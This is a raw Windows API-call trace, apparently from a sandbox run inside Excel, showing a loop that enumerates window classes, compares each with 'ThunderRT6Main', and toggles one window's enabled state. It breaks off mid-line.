[0085.592] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.592] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.592] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0085.592] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0085.592] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0085.592] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0085.592] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0085.592] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.592] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0085.592] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0085.593] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0085.593] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0085.593] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0085.593] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.593] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.593] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0085.593] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.593] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.593] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0085.593] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.593] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.593] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0085.593] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.593] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.593] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0085.593] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.593] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.593] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0085.593] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.593] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.593] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.594] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0085.594] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.594] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.594] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.594] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0085.594] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0085.594] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0085.594] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.594] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0085.594] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.594] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.594] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.594] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0085.594] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0085.594] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0085.594] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.594] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0085.594] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0085.594] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0085.594] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.594] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0085.594] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.594] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.594] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.594] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0085.594] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.594] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.595] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.595] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0085.595] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0085.595] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0085.595] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.595] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0085.595] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0085.595] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0085.595] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.595] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0085.595] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0085.595] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0085.595] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0085.595] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.595] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.595] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.595] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0085.595] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0085.595] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0085.595] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0085.595] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0085.595] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0085.595] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.595] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0085.595] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0085.595] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0085.595] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0085.595] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0085.595] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0085.595] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.595] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0085.596] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0085.596] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0085.596] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0085.596] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0085.596] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0085.596] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.596] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0085.596] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0085.596] IsWindowEnabled (hWnd=0x20360) returned 1 [0085.596] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0085.596] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0085.596] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0085.596] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0085.596] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0085.596] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0085.596] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.596] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0085.596] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0085.596] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.596] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.596] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0085.596] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0085.596] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0085.596] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0085.596] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.596] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0085.597] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0085.597] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0085.597] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0085.597] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0085.597] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0085.597] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.597] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0085.597] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0085.597] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0085.597] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0085.597] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0085.597] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0085.597] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.597] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0085.597] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0085.597] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0085.597] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0085.597] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0085.597] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0085.597] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.597] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0085.597] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0085.597] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0085.597] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0085.598] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0085.598] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0085.598] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0085.598] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0085.598] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0085.598] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0085.598] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0085.598] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9f790 [0085.598] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9f790) [0088.546] GetAsyncKeyState (vKey=27) returned 0 [0088.546] GetCurrentThreadId () returned 0xbdc [0088.546] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0088.546] GetDesktopWindow () returned 0x10010 [0088.547] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0088.547] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0088.547] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0088.547] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0088.547] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0088.547] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0088.547] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0088.547] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0088.547] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0088.547] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0088.547] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0088.547] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0088.547] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0088.548] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0088.548] IsWindowEnabled (hWnd=0x20360) returned 0 [0088.548] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0088.548] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0088.548] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0088.548] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0088.548] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0088.548] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0088.548] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0088.548] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0088.548] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0088.548] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0088.548] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0088.548] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0088.548] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0088.548] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0088.548] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0088.548] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0088.549] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0088.549] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0088.549] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0088.549] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0088.549] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0088.550] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x769b700 [0088.550] IMalloc:Free (This=0x7fefecb5380, pv=0x769b700) [0088.625] GetCurrentThreadId () returned 0xbdc [0088.625] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0088.625] GetDesktopWindow () returned 0x10010 [0088.625] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0088.625] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0088.625] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0088.625] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0088.625] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0088.625] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0088.625] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0088.625] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0088.625] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0088.626] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0088.626] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0088.626] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0088.626] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0088.626] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0088.626] IsWindowEnabled (hWnd=0x20360) returned 1 [0088.626] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0088.626] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0088.626] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0088.626] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0088.626] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0088.626] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0088.626] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0088.626] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0088.626] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0088.626] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0088.627] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0088.627] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0088.627] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0088.627] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0088.627] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0088.627] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0088.627] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0088.627] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0088.627] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0088.627] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0088.627] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0088.627] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0088.627] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0088.627] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0088.627] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0088.627] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0088.627] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0088.627] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0088.627] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0088.627] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0088.627] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0088.627] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0088.627] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0088.628] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0088.628] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0088.628] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0088.628] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0088.628] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0088.628] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0088.628] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0088.628] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0088.628] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0088.628] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0088.628] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0088.628] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0088.628] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0088.628] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0088.628] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0088.628] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0088.628] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0088.629] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0088.629] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0088.629] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0088.629] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0088.629] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0088.629] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0088.629] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0088.629] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0088.629] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0088.629] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0088.629] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0088.629] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0088.629] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0088.629] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0088.629] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0088.629] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0088.630] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0088.630] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0088.630] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0088.630] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0088.630] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0088.630] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0088.630] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0088.630] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0088.630] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0088.630] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0088.630] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0088.630] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0088.630] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0088.630] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0088.630] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0088.630] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0088.631] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0088.631] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0088.631] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0088.631] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0088.631] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0088.631] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0088.631] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0088.631] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0088.631] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0088.631] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0088.631] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0088.631] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0088.631] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0088.631] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0088.631] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0088.631] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0088.631] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0088.632] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 